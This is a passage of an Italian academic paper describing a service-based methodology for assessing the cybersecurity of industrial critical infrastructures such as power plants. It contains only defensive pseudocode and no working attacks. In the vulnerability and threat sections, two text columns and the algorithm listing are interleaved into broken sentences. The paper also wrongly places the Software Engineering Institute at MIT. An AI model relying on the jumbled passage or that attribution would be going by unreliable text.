VALUTAZIONE DELLA SICUREZZA DELLE INFRASTRUTTURE CRITICHE, DEFINIZIONI E METODOLOGIA.
(SECURITY ASSESSMENT OF CRITICAL INFRASTRUCTURES, DEFINITIONS METHODOLOGY)
essere oggi estesa ben oltre i confini del singolo
impianto, aggiungendo strati di complessità.
I tradizionali processi di valutazione della sicurezza mal si sposano con il paradigma di sistema-disistema, date le intrinseche difficoltà nell’identificare
le interdipendenze e gli effetti della propagazione di
errori e guasti.
Alcuni approcci all’analisi delle proprietà di sicurezza sono stati, ad onor del vero, proposti (si veda
la prossima sezione). In generale tali metodologie
mirano a collegare a descrizioni strutturali e funzionali degli obiettivi di sicurezza.
In questo articolo viene presentata una nuova
metodologia per la valutazione del livello di sicurezza delle infrastrutture industriali basata sul concetto
di modellizzazione e mappatura dei servizi. Tale
mappatura, consente di effettuare un’analisi basata
sulla correlazione sistematica, passando quindi da
una più tradizionale visione basata su eventi di sicurezza ad una più complessa e completa che consenta
di catturare anche gli effetti di tali eventi sull’intera
infrastruttura.
In questo articolo, dopo aver presentato una
panoramica dello stato dell’arte nell’ambito delle
metodologie di valutazione della sicurezza dei sistemi IT, viene analizzata la relazione esistente tra i differenti insiemi di “informazioni” che possono essere
usati per descrivere il sistema sotto analisi dal punto
di vista della sicurezza informatica.
Infine viene presentata la metodologia che consente di sfruttare tali informazioni al fine di analizzare il livello di sicurezza del sistema.
2. Stato dell’arte
Nella letteratura scientifica non esiste una metodologia ritagliata su misura per analizzare la sicurezza informatica dei sistemi industriali; in ogni caso nel
campo dell’informatica e nel campo della safety esistono alcuni approcci che vale la pena menzionare.
La valutazione dei sistemi industriali è campo tradizionale della “Safety Analysis”. Solo di recente le
problematiche di sicurezza sono entrate prepotentemente in questo mondo. Keeney [2] nel 2005 presentò uno studio sugli effetti del sabotaggio di sistemi informatici nelle infrastrutture critiche.
Stoneburner, Goguen e Feringa [3], nel loro studio
sull’analisi del rischio nei sistemi informatici descrivono una procedura basata su nove passi per la valutazione dei rischi derivanti dalle vulnerabilità dei
sistemi informatici tradizionali. Swiderski e Snyder
[4] introducono il concetto di “Threat Modeling”
(modellizzazione delle minacce), e presentano un
approccio strutturato per identificare, valutare e
mitigare rischi associati alla sicurezza dei sistemi.
Tale lavoro, presentando per primo il concetto di
modellizzazione delle minacce rappresenta sicuramente un passo avanti in questo ambito. Una applicazione di tale approccio nel mondo reale viene presentata in [5]. Esistono inoltre alcuni strumenti
appositamente sviluppati per la valutazione di sistemi generici, come ad esempio “Microsoft Security
Assessment tool” [6] e “Citicus” [7]. Il primo implementa in sostanza un tradizionale processo di “check
list”; in altre parole, l’intero processo di valutazione
passa attraverso una serie di sessioni di “domanderisposte” che guidano l’analista nell’esecuzione della
valutazione, e che producono come output una serie
di raccomandazioni. Ovviamente, vista la sua genericità, tale oggetto è lungi dall’essere in grado di fornire un’analisi esaustiva e precisa, specialmente nel
campo dei sistemi industriali, per l’analisi dei quali,
ovviamente, non è stato concepito. Il secondo strumento, Citicus, è basato sul concetto di rischio percepito, categorizzando di fatto tali rischi in accordo
con una serie di criteri preconfezionati.
L’approccio OCTAVE [8], introdotto dal
“Software Engineering Institute” del MIT verso la
fine degli anni ’90, rappresenta al momento la più
esaustiva metodologia per l’analisi del rischio nel
campo dei sistemi informatici. Non è stata però concepita per analizzare i sistemi industriali e per questo
risulta poco precisa nell’analizzare l’impatto e le
ripercussioni di vulnerabilità informatiche in questi
sistemi.
Il progetto CORAS (2001-2003) [9], sviluppò una
metodologia di analisi basata sulla modellizzazione di
sistemi informatici. Sfortunatamente, anche in questo caso, in fase di progetto, non vennero prese in
considerazione le problematiche dei sistemi industriali.
Dalla presentazione di tutti questi metodi, è possibile ricavare una importante osservazione: la valutazione della sicurezza richiede una descrizione adeguata del sistema da analizzare, prendendo in considerazione tutte le rilevanti prospettive: politiche,
operazioni, strutture e funzioni, collegamenti fisici,
fenomeni fisici, flussi informativi ecc.
Il problema della modellizzazione di infrastrutture complesse è stato affrontato principalmente per
scopi di progettazione o di definizione operazionale.
103
Igor Nai Fovino
Differenti approcci sono stati suggeriti per modellare i sistemi alla luce di requisiti di sicurezza. Il lavoro
presentato in [8] da Alberts & Dorefee è un buon
esempio di metodologia di analisi del rischio basata
sulla descrizione del sistema. Purtroppo tale descrizione: (a) non è formale e (b) non è in grado di essere applicata proficuamente nel caso di sistemi-disistemi. Folker Den Braber [9] adotta un approccio
parzialmente descrittivo, che cattura il concetto di
“ambiente avverso” introducendo, attraverso modelli UML, il concetto di “scenario di minaccia”. Questo
è ovviamente un notevole passo avanti nella rappresentazione di sistemi, che potrebbe essere adattata
anche al caso di quelli complessi ed interattivi.
Nai Fovino, in tre lavori correlati [10-11-12] presenta un approccio basato sul concetto di sistema-disistema, che preserva l’indipendenza operazionale e
manageriale dei componenti, catturando allo stesso
tempo il concetto di relazione tra componenti, servizi e sottosistemi.
In questo articolo viene adottato come punto di
partenza tale approccio (descritto in dettaglio nelle
prossime sezioni).
Per fornire risultati di una certa qualità nell’ambito della valutazione della sicurezza informatica, è
necessario prendere in considerazione quelli che vengono comunemente definiti “scenari di attacco”.
Esistono diversi metodi in letteratura per descrivere
le informazioni relative ad azioni malevole (i.e. come
vengono condotte, i passi eseguiti, le vulnerabilità
sfruttate ecc.). Storicamente il primo tentativo di fornire struttura a questo processo descrittivo, viene
fatto risalire alla creazione di basi di dati di vulnerabilità (tra i quali Bugtraq [13] è un esempio). Tali
database, ad ogni modo, sono focalizzati solo sulla
descrizione di vulnerabilità, tralasciando completamente la descrizione dei processi che portano al loro
sfruttamento durante un attacco.
Uno dei più promettenti paradigmi descrittivi in
grado di catturare quest’ultimo aspetto è il “Graph
Based Attack Models” [14]. In questa categoria
descrittiva due sono i principali metodi di modellizzazione: modelli basati sulle reti di Petri e modelli
basati sugli alberi di attacco. Un buon esempio del
primo metodo è l’ “Attack Net Model” introdotto da
McDermott [15], nel quale i posti di una rete di Petri
rappresentano i passi di un attacco e le transizioni
sono usate per catturare in modo accurato le azioni
fatte dall’attaccante.
Il capostipite del secondo metodo di modellizzazione è sicuramente Bruce Schneier [16], che propo-
104
se l’utilizzo di “alberi d’espansione” per mostrare le
differenti linee di attacco che possono essere utilizzate contro un sistema, descrivendone i passi e le
relazioni. Questo approccio è stato esteso da Nai e
Masera [17] introducendo il concetto di “proiezione
di attacco”. Nel presente lavoro viene adottata quest’ultima tecnica come punto di riferimento.
3. Definizione Preliminare dell’Ambiente
La valutazione del rischio di infrastrutture ICT
richiede la caratterizzazione (o descrizione) di due
classi di informazioni: informazioni relative alla
struttura del sistema sotto analisi e informazioni relative alla sicurezza stessa.
Nel seguito di questa sezione verranno presentate alcune definizioni relative a queste due classi di
informazioni.
3.1. Sicurezza
Per quanto riguarda le informazioni concernenti
la sicurezza, molto importanti sono i concetti di
Minaccia, Vulnerabilità, Attacco e Rischio.
Più in dettaglio, una minaccia, come indicato in
[18] e nell’ “Internet RFC Glossary of Terms” viene
definita come un potenziale per la violazione della
sicurezza, che esiste quanto c’è circostanza, capacità,
azione o evento che potrebbe fare una breccia nelle
misure di sicurezza e causare danno.
Una vulnerabilità, per definizione [19][20] è una
debolezza del sistema sotto analisi, sia essa infrastrutturale, legata a processi, politiche, controlli ecc.
Come diretta conseguenza, un attacco può essere
definito come l’intero processo messo in atto da un
agente di minaccia per attaccare un sistema con successo, sfruttando una o più vulnerabilità dello stesso.
Infine, come definito nell’ISO/IEC 17799:2000
[21], il rischio è definito come la probabilità che un
attacco/incidente accada (quando una minaccia
viene attualizzata dalla combinazione di vulnerabilità
ed attacchi) moltiplicato per il danno potenziale causato.
3.2. Sistema
In questa seconda classe cadono tutti i concetti
relativi alla modellizzazione del sistema sotto analisi.
Ogni sistema può essere descritto come una collezione di entità che collaborano per realizzare un
insieme di obiettivi [22]. Per il principio di ereditarietà, tale definizione risulta vera anche per il concetto
di sottosistema.
Masera e Nai [10][11][12] definiscono come
Componente un oggetto atomico (i.e. non ulteriormente scomponibile) in grado di realizzare in modo attivo o passivo una serie di compiti di basso livello. Gli
stessi autori definiscono il concetto di Servizio come
una serie di compiti realizzati da componenti o sottosistemi.
Infine, sempre Masera e Nai definiscono il concetto di Dipendenza tra componenti e sotto-sistemi
(e.g. un oggetto A dipende da un oggetto B se B (o
un servizio fornito da B) è necessario perché A soddisfi la sua missione).
In [11] è messo in fine in evidenza il concetto di
Flusso Informativo, come insieme di relazioni punto a
punto descriventi l’intero ciclo di vita delle informazioni del sistema sotto analisi.
L’ultimo concetto necessario per descrivere un
sistema ai fini di un’analisi della sicurezza, è il concetto di Asset, che viene definito in [23] come un
qualsiasi elemento (nel senso più generale del termine), che abbia un valore per i proprietari del sistema
o per chi ne usufruisce.
Dato che la perdita o il danneggiamento di un
asset impatta negativamente sul valore del sistema
stesso, l’obiettivo della sicurezza è quello di proteggerlo in modo appropriato.
Va da se quindi che gli asset siano per definizione
gli oggetti più rilevanti dal punto di vista della sicurezza per un sistema, in quanto:
1. La loro distruzione o inabilità ad eseguire le
funzioni per cui sono stati progettati può causare danno all’intero sistema.
2. Sono l’obiettivo principale della quasi totalità
degli attacchi.
3. Essi possono essere esposti a vulnerabilità
indirette, causate da altri componenti del sistema, di minore importanza.
Un asset può avere due forme principali: (a) un
insieme di componenti/servizi interni al sistema la
cui perdita può danneggiare il sistema stesso. (b) un
insieme di servizi esterni, necessari al sistema sotto
analisi per espletare le sue stesse funzioni.
Riassumendo quindi, l’approccio presentato in
questo lavoro per condurre un’analisi della sicurezza
di un sistema, richiede la descrizione puntuale di
questi elementi:
• Minacce che affliggono il sistema.
•
•
•
•
•
•
•
Vulnerabilità.
Insieme di alberi di attacco.
Componenti.
Servizi.
Sotto-sistemi.
Flussi informativi.
Assets.
Una valutazione della sicurezza, muoverà i suoi
passi a partire dalla raccolta ed organizzazione di
queste informazioni.
Nella prossima sezione viene descritto come questa mole di informazioni può essere rappresentata
formalmente ed utilizzata per analizzare l’esposizione di un sistema a rischi di sicurezza.
4. Analisi basata sulla modellizzazione dei
Servizi
In questa sezione verrà fornita una panoramica di
una metodologia di analisi della sicurezza concepita
appositamente per i sistemi complessi. Per ulteriori
dettagli si rimanda a [10][11][12][17].
Una volta definiti i concetti di base che consentono di descrivere nella sua interezza un sistema
complesso, è necessario definire un paradigma che
consenta di interconnettere i differenti aspetti sotto
analisi. Per fare un esempio, come mettere insieme
tutte queste informazioni al fine di comprendere
quali potrebbero essere gli effetti di una certa vulnerabilità di un componente di un sistema industriale,
sugli assets di business dello stesso sistema?
Dato che gli elementi da considerare per retropropagare gli effetti di una vulnerabilità di una infrastruttura che è per definizione un sistema-di-sistemi
sono molti, una delle sfide chiave è quella di individuare un paradigma che consenta di “potare” l’informazione in eccesso senza offuscare la qualità dei
risultati ottenuti dall’analisi.
Per risolvere tale problema, come illustrato in
[10][11], viene introdotto il concetto di Servizio. Se
consideriamo gli oggetti che compongono un sistema come “produttori e consumatori di servizi”, è
possibile sviluppare una dettagliata descrizione delle
relazioni che legano questi oggetti e catturare quindi
il concetto di dipendenza che è di fatto alla base di
un’analisi di sicurezza che voglia comprendere gli
effetti diretti ed indiretti delle vulnerabilità informatiche su di un sistema complesso.
Più in dettaglio:
105
Igor Nai Fovino
Definizione: definiamo un servizio come una
tupla s = <nome, descrizione, ID, sdr>, dove: nome identifica il servizio, descrizione dà una breve descrizione
funzionale del servizio, ID è l’identificatore del “produttore del servizio” e sdr, come definito nel seguito,
rappresenta l’informazione relativa alle dipendenze
del servizio stesso (e.g. “per completare la sua missione, il servizio x necessita il diretto contributo dei
servizi k, z, m”). Ovviamente è possibile ribaltare il
concetto di servizio, parlando quindi di Disservizio
come l’inaspettato deterioramento o completa mancanza del servizio stesso. L’importanza del concetto
di disservizio, è noto nella letteratura scientifica relativa per esempio alle tecniche di analisi del guasto
(Fault Tree Analysis). Ad ogni modo la sua rilevanza
non è stata, sino ad ora, mai sottolineata nel campo
dell’analisi di sicurezza informatica.
Nella metodologia di analisi proposta in quest’articolo, abbiamo adottato una descrizione del sistema
basata sul paradigma dell’analisi dei servizi. Inoltre è
stato introdotto il concetto di disservizio. In tal modo,
il sistema descritto assume un aspetto simile a quello
di un grafo orientato. Ogni componente e sottosistema è direttamente o indirettamente interconnesso
attraverso quella che può essere definita una “catena
di servizi” che esprime il legame intercorrente tra
tutti quei componenti, sottosistemi e servizi necessari per portare a termine una certa missione.
A riguardo degli Assets, a causa della loro natura
eterogenea (un asset può essere un componente, un
sottosistema, un servizio od un insieme comprendente tutte queste cose), non è semplice legarli alle
potenziali minacce. Essendo però, per loro stessa
natura degli oggetti compositi, è possibile far ereditare agli assets stessi tutte le relazioni, vulnerabilità ecc.
che sono proprie dei componenti, dei servizi e dei
sottosistemi che li compongono.
In tal modo, anche gli Assets rientreranno nelle
catene di servizio e di disservizio del grafo che rappresenta il sistema sotto analisi.
Per chiarire il concetto, si prenda in considerazione il seguente esempio: un sistema X fornisce ad un
agente esterno un Servizio Informativo IS (e.g. una centrale elettrica che fornisce informazione in merito
all’energia prodotta ad una entità esterna). Questo
servizio è realizzato tramite l’utilizzo di una applicazione web (WAS) al livello di sottosistema. I dati
inviati all’agente esterno sono memorizzati in un
database, che fornisce un servizio di memorizzazione
(SS). Questi dati sono il risultato di una computazione basata sulle informazioni recuperate da sensori
106
remoti, che forniscono un servizio di Monitoring sul
campo (FMS). Il servizio di alto livello IS, è collegato
a WAS in modo funzionale. Inoltre esiste un flusso
informativo tra WAS, SS e FMS. In altre parole esiste un collegamento indiretto tra WAS ed SS e tra SS
e FMS. Questo insieme di collegamenti, che evidenziano come il fallimento di FMS possa avere un effetto su IS, sono un chiaro esempio di catena di servizi.
Come in [12] definiamo la relazione di servizio
come segue:
Definizione: un sistema Sn è definito come un
insieme Sn ={s1, ..., sn, desc} dove s1, ..., sn sono i servizi forniti da Sn e desc è la descrizione generale del
sistema stesso. Senza perdere generalità possiamo
descrivere un sottosistema ed un componente allo
stesso modo.
Definizione: Sia SoS={Sa, Sb, …, Sn} l’insieme
dei sistemi/sottosistemi/componenti in SoS, tali che
Serv sia l’insieme di tutti i servizi di SoS, allora una
dipendenza di servizio è una tupla sdr=<s, sid, inset,
outset, lf>, dove s è un servizio, sid è l’identificatore di
un sistema/sottosistema/componente Sa in SoS (che
produce il servizio), Inset dove Inset={<d, w> | d ∈
Serv, w ∈ ℵ} rappresenta la collezione dei servizi che
contribuiscono direttamente alla realizzazione del
servizio in questione, con associata una serie di pesi
(indicanti la loro rilevanza) w. lf rappresenta una
espressione logica del secondo ordine che consente
di mettere in evidenza, combinata con i pesi w
dell’Inset come e con quale rilevanza i suddetti servizi sono logicamente correlati con quello sotto analisi. In questo modo per esempio, è possibile rappresentare il fatto che un certo servizio A, per essere
fornito, necessita la combinazione dei servizi
(B∧C)∨D e che ognuno di questi servizi deve essere considerato come “fornito” ad A sino a quando le
sue performances non sono al di sotto il peso associato w (un po’ come nel caso della minima QoS
richiesta in certe applicazioni). Infine, Outset è la lista
di tutti i servizi ai quali il servizio in esame fornisce
direttamente un contributo.
Utilizzando queste definizioni, siamo quindi in
grado di costruire, partendo da un certo punto di inizio, (componente, sottosistema, ecc.) del sistema
sotto analisi, una catena di servizi.
Tale catena risulta quindi essere un grafo orientato che descrive le connessioni dirette ed indirette tra
i servizi di un componente/sottosistema e tutti gli
altri servizi forniti da altri oggetti.
Da un punto di vista di analisi della sicurezza,
queste connessioni possono essere utilizzate per
identificare l’insieme delle “dipendenze dei servizi”.
Come definito da Masera, una “dipendenza di
sicurezza” esiste quando esiste una relazione tra due
sistemi(o sottosistemi o componenti) A e B, tale per
cui un errore interno in B, possa essere propagato
attraverso una catena di guasti, errori e fallimenti, al
sistema A. In tal caso, prendendo ispirazione da
Avizienis et al. [25], possiamo parlare di catene patologiche, ossia di catene che rappresentano il possibile
decorso patologico di una malattia (nel nostro caso,
il fallimento di parte del sistema sotto analisi).
Ragionando in termini di sicurezza informatica, possiamo dire che una catena patologica è causata da (a)
eventi accidentali dovuti a fallimenti interni o ad
errori umani o (b) attacchi intenzionali. Dato che
ogni componente della nostra descrizione di sistema
si porta, come corredo informativo, una lista delle
possibili vulnerabilità intrinseche e conosciute (ossia
la lista di vulnerabilità che, a priori, è possibile associare a tale componente con un certo livello di confidenza), è possibile espandere il concetto di catene
patologiche aggiungendo le informazioni relative a
tali vulnerabilità. In questo modo, le catene così
arricchite diventano quello che possiamo definire
Catene di V ulnerabilità (Figura 1).
Figura 1: Esempio di catene di vulnerabilità
L’introduzione di queste catene ha tre vantaggi:
1. Consente di identificare quali vulnerabilità di
basso livello (associate a qualche componente
di basso livello) possono avere un effetto su
servizi di alto livello (tipicamente servizi forniti dal sistema verso l’esterno) e sugli assets
del sistema stesso.
2. Consente di catturare tutto l’insieme non trascurabile di potenziali effetti collaterali delle
vulnerabilità identificate.
3. Costituisce la colla che unisce la descrizione
del sistema con le informazioni legate alla
sicurezza (vulnerabilità, minacce ed attacchi).
5. Analisi delle vulnerabilità
Attraverso l’adozione del paradigma di descrizione appena presentato, siamo ora in grado di mostrare come sia possibile identificare quali vulnerabilità
di basso livello possano avere un ruolo non trascurabile sulla sicurezza degli Assets del sistema sotto analisi.
Sostanzialmente l’approccio proposto è il seguente:
1. Per ogni asset vengono individuate tutte le
dipendenze (ricordiamo qui che un asset può
essere composto da componenti, sottosistemi
fisici e da servizi).
2. Per ogni elemento
appartenente all’asset,
vengono recuperati ed
enumerati i servizi che
esso fornisce.
3. Tramite l’esplorazione
delle relazioni che legano
i servizi dell’elemento
dell’asset sotto analisi,
vengono identificati tutti
i componenti di basso
livello che in qualche
modo contribuiscono a
rendere possibile il servizio di alto livello dell’asset.
4. Vengono quindi associate le vulnerabilità che
potenzialmente potrebbero affliggere il componente di basso livello, che
quindi vengono retro-
107
Igor Nai Fovino
propagate all’asset stesso.
quali asset, vulnerabili a causa di un insieme di debolezze identificate nella fase precedente, sono esposti
Applicando questa procedura siamo quindi in
a differenti tipi di minacce e quali sono le caratterigrado di identificare quali vulnerabilità, associate a
stiche che tali minacce dovrebbero esibire per essere
quali componenti, possono avere un impatto su un
considerate una sorgente potenziale di rischio.
asset. Questo tipo di conoscenza consentirà di deciNormalmente quando questo tipo di analisi è
dere, in fasi successive del processo di valutazione
applicata a sistemi relativamente piccoli, essa si esaudella sicurezza, se le politiche di sicurezza applicate
risce con l’assegnazione di minacce note a possibili
sono efficaci, di valutare possibili contromisure e di
assets, sulla base alcune, non ben definite, ipotesi
identificare scenari di attacco e di mitigazione.
fatte dall’analista.
Le vulnerabilità possono essere classificate, ovviaPurtroppo, questo approccio è ovviamente limitamente, a seconda della loro stimata rilevanza. Tale
to se si considerano grandi sistemi come ad esempio
classificazione viene utilizzata anche per identificare
impianti industriali.
un ordine di urgenza nell’applicazione delle controUtilizzando le informazioni derivate dalla fase
misure più idonee. In Figura 2 è mostrato l’algoritmo
precedente (analisi delle vulnerabilità), è possibile
di alto livello che implementa questa parte dell’analimigliorare questo processo.
si.
Una minaccia infatti è da considerarsi rilevante se
e solo se esiste una reale possibilità di realizzarla.
Input: the set of System Assets (SA)
Output: the set SA enriched with information related to the
Per dirla in parole povere, noi
vulnerabilities associated
possiamo ipotizzare una minaccia “Tsunami” per un ospedale,
Main
{
ma tale minaccia diventa realistiSelect Asset from SA
ca se e solo se l’ospedale si trova
For each element i in Asset do
J=i
in prossimità del mare e non
If i is a service then J=service.ID
sulle Alpi.
Inspect (J)
Allo stesso modo, non ha
}
Function Inspect (J)
senso collegare minacce infor{
matiche ad assets che, dall’analisi
If check_cycle(J)=false
precedente, risultano non impatthen
if J.vulnset ? ø then Asset.vulnset=Asset.vulnset+J.vulnset
tati da questo tipo di minacce.
for each service provided by J
In modo del tutto simile
{
sdr=retrieve s.sdr
all’approccio presentato nella
for each service in s.sdr.inset Inspect(s.sdr.inset.ID)
sezione precedente, un’analisi
}
delle minacce basata sul concetto
}
di servizio, si sviluppa nel
Figura 2: algoritmo di analisi delle vulnerabilità
seguente modo:
1.
Dall’insieme di tutti i possibili assets, solo il sottoinsieme di quelli affetti
6. Valutazione delle Minacce
da vulnerabilità (dirette o indirette) viene
preso in considerazione.
La determinazione di quali vulnerabilità possano
2. Per ogni elemento degli assets vulnerabili, il
impattare gli assets di un sistema non è ovviamente
sottoinsieme dei servizi coinvolti viene identisufficiente per considerare conclusa un’analisi di
ficato.
sicurezza.
3. Le minacce ipotizzate (ipotesi basate sull’idenA questo punto è infatti necessario analizzare
tificazione di minacce specifiche per scomparquali minacce possono utilizzare le vulnerabilità
ti industriali o sulla base di informazioni punidentificate per danneggiare il sistema. Questo è un
tuali relative alla compagnia proprietaria delpasso importante, che consente di identificare gli
l’impianto), vengono associate ai servizi di
obiettivi di attacco più probabili.
sottosistema individuati.
L’obiettivo di questa fase è quello di identificare
4. Tramite l’esplorazione delle dipendenze di ser-
108
vizio e delle relazioni esistenti, viene verificato se le minacce possono propagare i loro
effetti sugli assets definiti vulnerabili.
In tal modo, non solo è possibile ottenere un
insieme più preciso, documentato e focalizzato di
servizi di sottosistema minacciabili, ma viene analiticamente dimostrato come queste minacce possono
affliggere questi servizi e quindi indirettamente i
relativi assets.
7. Analisi degli Scenari di attacco
Il processo di analisi degli attacchi consiste nell’identificazione dei potenziali attacchi che possono
essere realizzati con successo per portare a termine
le minacce in precedenza identificate. Questa parte
dell’analisi è estremamente importante, in quanto
consente di fornire indicazioni sulla reale robustezza
del sistema, sulla sua esposizione, e sulle possibili
contromisure da intraprendere.
Come descritto precedentemente, un attacco può
essere rappresentato per mezzo di alberi di attacco,
che specificano i passi e le condizioni richieste per la
sua realizzazione. Purtroppo un albero d’attacco è
generalmente troppo astratto, nel senso che esprime
concetti come il seguente: “per realizzare l’attacco è
necessario avere la vulnerabilità x sul componente y
e la vulnerabilità z sul componente K”.
Tali informazioni sono di scarso aiuto nel processo di validazione perché il fatto che tali componenti esistano nel sistema non implica che essi siano
interconnessi o che siano dipendenti in un modo che
consenta la realizzazione dell’attacco stesso.
Un processo di validazione condotto senza questo tipo di informazioni aggiuntive produrrà certamente risultati poco utili e ricchi di falsi positivi.
Le informazioni ottenute dalla modellazione
orientata ai servizi, consentono di mitigare il rischio
di falsi positivi nel processo di validazione degli
attacchi.
Infatti, è possibile mappare gli alberi di attacco
sul sistema sotto analisi utilizzando come guida le
catene di dipendenza e di disservizio. Le relazioni tra
servizi contengono in modo intrinseco ciò che nel
gergo sistemistico è noto come “conoscenza locale”
e “diametro della rete”. In altre parole, utilizzando
questi tipi di conoscenza è possibile identificare se
esista qualche dipendenza e connessione tra componenti vulnerabili che sia di interesse a causa di qualSpeciale Sicurezza ICT
che minaccia sottesa. La validazione degli attacchi, da
una prospettiva orientata ai servizi, avviene quindi
come segue:
1. Gli attacchi che possono essere associati a
minacce precedentemente validate sono identificati e presentati come ipotesi da verificare.
2. Per ogni minaccia validata, i sottosistemi associati e le relative relazioni sono identificate.
3. Gli alberi di attacco associati alle minacce
selezionate sono validati tenendo in considerazione le informazioni derivate dalle catene
di disservizio, dalle relazioni di dipendenza e
da possibili asserzioni condizionali (i.e. asserzioni aggiuntive che esprimano ulteriori condizioni da soddisfare).
4. Gli attacchi validati sono utilizzati per stimare
l’impatto sugli assets, tenendo in considerazione gli effetti diretti ed indiretti (ricavabili,
ancora una volta, dall’analisi delle catene di
dipendenza e disservizio).
In questo modo è possibile ridurre lo spazio degli
attacchi da analizzare ai soli aventi effettivamente
possibilità di impattare sul sistema, diminuendo
notevolmente il numero di falsi positivi.
L’output dei passi precedentemente presentati
consente di mettere quindi in evidenza:
1. Le dipendenze che legano il sistema industriale sotto analisi.
2. Le vulnerabilità di basso livello che possono
impattare sul sistema e la loro catalogazione a
seconda della severità di impatto e della probabilità di occorrenza.
3. Gli asset che possono essere minacciati.
4. L’insieme degli attacchi che possono essere
con buona probabilità di successo realizzati
contro un certo insieme di assets.
Tali informazioni consentono di computare agilmente un calcolo del rischio al quale l’impianto è sottoposto, e di individuare agilmente le contromisure
più opportune.
8. Risultati Sperimentali
La metodologia presentata nelle sezioni precedenti è stata implementata all’interno di uno strumento software (InSAW-Industrial Security
Assessment Workbench) che ne consente l’utilizzo
immediato [26].
109
Igor Nai Fovino
Il cuore di tale software è un’articolata base di dati
relazionale in grado di contenere informazioni relative a tutti gli oggetti necessari per l’analisi, compreso
un set di librerie di vulnerabilità, alberi di attacco e
minacce collezionate nel corso di anni di test ed esperimenti.
Tale strumento è dotato di una mappatura ad
oggetti che consente di rappresentare graficamente
l’intera architettura dell’infrastruttura industriale analizzata, associandovi componenti e vulnerabilità in
modo automatico.
Una suite di algoritmi appositamente sviluppati
consente di retro-propagare le vulnerabilità sugli
assets, di mappare gli attacchi e di validarne la fattibilità. Tale strumento è stato sviluppato presso il
Centro di Ricerca della Commissione Europea di
Ispra [26].
La metodologia presentata nelle sezioni precedenti, è stata applicata con successo in diversi contesti. In particolare è stata utilizzata per valutare la sicurezza di sistemi di controllo industriale e di centrali
elettriche[27][28]. In questa sezione vengono presentati brevemente i risultati della sua applicazione nella
valutazione della sicurezza informatica di una centrale elettrica. I risultati sono volutamente descritti ad
alto livello, in quanto coperti da non-disclosureagreement.
Un impianto di generazione è un ambiente estremamente complesso, che coinvolge molti sistemi
diversi, sia da un punto di vista tecnico, che di requisiti che di politiche e gestione. In accordo con la
metodologia presentata l’impianto è stato analizzato
per identificare:
Assets, flussi informativi, componenti, sottosistemi, servizi
e dipendenze tra i differenti servizi.
I sottosistemi individuati sono stati i seguenti:
- Sottosistema di Campo: ospita i PLC/RTU di
controllo, gli attuatori ed i sensori della centrale elettrica.
- Sottosistema di controllo di processo e acquisizione
dati: è quello che in gergo tecnico viene chiamato sistema SCADA, e che ha in carico il
controllo dei processi di centrale.
- Rete di controllo: che interconnette tutti i sottosistemi di centrale.
- Rete Dati: che interconnette centrali diverse.
- Business network: che contiene tutti i sistemi utilizzati dagli operatori e tutte le funzioni così
dette “corporate”.
- Firewall: sistema che in realtà raggruppa tutti i
firewall e gli elementi di controllo sparsi all’in-
110
terno delle diverse reti, e che per comodità
sono stati raggruppati all’interno di un unico
sistema.
Il numero di componenti analizzati ed enumerati
durante l’analisi è stato nell’ordine delle tremila entità. Ad ognuno di questi componenti sono stati automaticamente associati gli insiemi di vulnerabilità che
potrebbero in ipotesi, affliggerli (tale operazione è
stata resa possibile grazie all’utilizzo di un database
appositamente realizzato per le vulnerabilità dei sistemi industriali).
A seguito di questa fase esplorativa, sono state
identificate le politiche operazionali e di sicurezza
applicate ad ogni componente e sistema identificato.
Sono stati inoltre identificati i requisiti operazionali
di processo e di funzionamento. Tali informazioni
sono state poi utilizzate in fase di analisi per identificare se e come certi profili di attacco potessero avere
senso, e per valutare l’impatto di eventuali contromisure.
Agli asset risultanti esposti a vulnerabilità di basso
livello (informazione derivata dall’analisi delle catene
di vulnerabilità e disservizio), sono state in seguito
associate ipotesi di minaccia basate sulla classificazione fornita dall’U.S. GAO [29].
In questo caso particolare sono stati considerati 5
particolari agenti di minaccia:
- Insiders: ossia dipendenti della stessa azienda
proprietaria dell’impianto.
- Crackers.
- Malware Interni.
- Malware Esterni.
- Gruppi organizzati: hacktivisti (ossia hacker che
sposano cause tipiche dei moderni attivisti),
crimine organizzato, ecc.
Seguendo tale approccio, sono state individuate
circa 1000 differenti vulnerabilità di un certo rilievo,
e tra queste, 156 aventi un impatto critico sul sistema
sotto analisi.
Tali vulnerabilità sono state classificate in accordo
con la loro probabilità di occorrenza e con la severità del loro impatto sull’infrastruttura.
Sulla base delle conoscenze accumulate, sono stati
identificati sette potenziali scenari di attacco complesso in grado di impattare sulla centrale in esame.
Come detto all’inizio di questa sezione, non è possibile riportare in questo lavoro i dettagli di tali scenari. Ciò che ha rilevanza è in ogni caso il fatto che
molti di questi scenari di attacco sfruttano una serie
di effetti collaterali che, senza l’applicazione di una
metodologia di analisi basata sulla modellizzazione
dei servizi, sarebbe stato estremamente difficile scoprire.
9. Conclusioni
Centrali Elettriche, sistemi di controllo dei trasporti, reti elettriche, gasdotti, sono tutte infrastrutture necessarie per la vita di tutti i giorni, che, per le
loro peculiarità storiche sono sempre state viste
come modi completamente isolati, a se stanti, e per
questo avulse dai fenomeni di criminalità informatica che le cronache ci hanno abituato ad osservare in
altri campi.
Il senso di sicurezza derivato da questa supposta
estraneità di tali infrastrutture nei confronti delle
minacce informatiche, non ha motivo di esistere.
L’imperante diffusione delle tecnologie informatiche
nel mondo del controllo di processo industriale, la
diffusione dell’utilizzo delle classiche reti informatiche basate su TCP/IP per scambiare flussi di controllo, se da una parte ha reso possibili incredibili
passi avanti nella gestione coordinata di tali installazioni, dall’altra ha aperto le porte a nuovi, inimmaginabili scenari di fallimento, dovuti proprio alle vulnerabilità del mondo informatico.
La valutazione del livello di sicurezza informatica
delle infrastrutture critiche industriali è diventato,
alla luce di tutto ciò, di grande importanza.
La letteratura scientifica moderna, è ricca di
esempi di metodologie di valutazione della sicurezza
applicate a sistemi informatici tradizionali. Tali
metodologie purtroppo si sono rivelate poco adatte
ad analizzare realtà estremamente complesse, eterogenee e peculiari come quelle dei sistemi industriali.
In questo lavoro è stata fornita una panoramica di
una metodologia per la valutazione di sicurezza di
tali sistemi, sviluppata nei laboratori del Centro di
Ricerca della Commissione Europea e poi applicata
in diversi casi di studio.
Tale metodologia, si basa sul concetto di modellizzazione delle relazioni esistenti tra i vari componenti del sistema sotto analisi e nell’utilizzo della
conoscenza derivante da tale modellizzazione, al fine
di identificare e comprendere a pieno gli effetti collaterali di eventuali vulnerabilità identificate ed il loro
impatto su quelli che vengono comunemente definiti gli asset dell’infrastruttura.
L’adozione di tale metodologia non è ovviamente indolore, in quanto la quantità di informazioni da
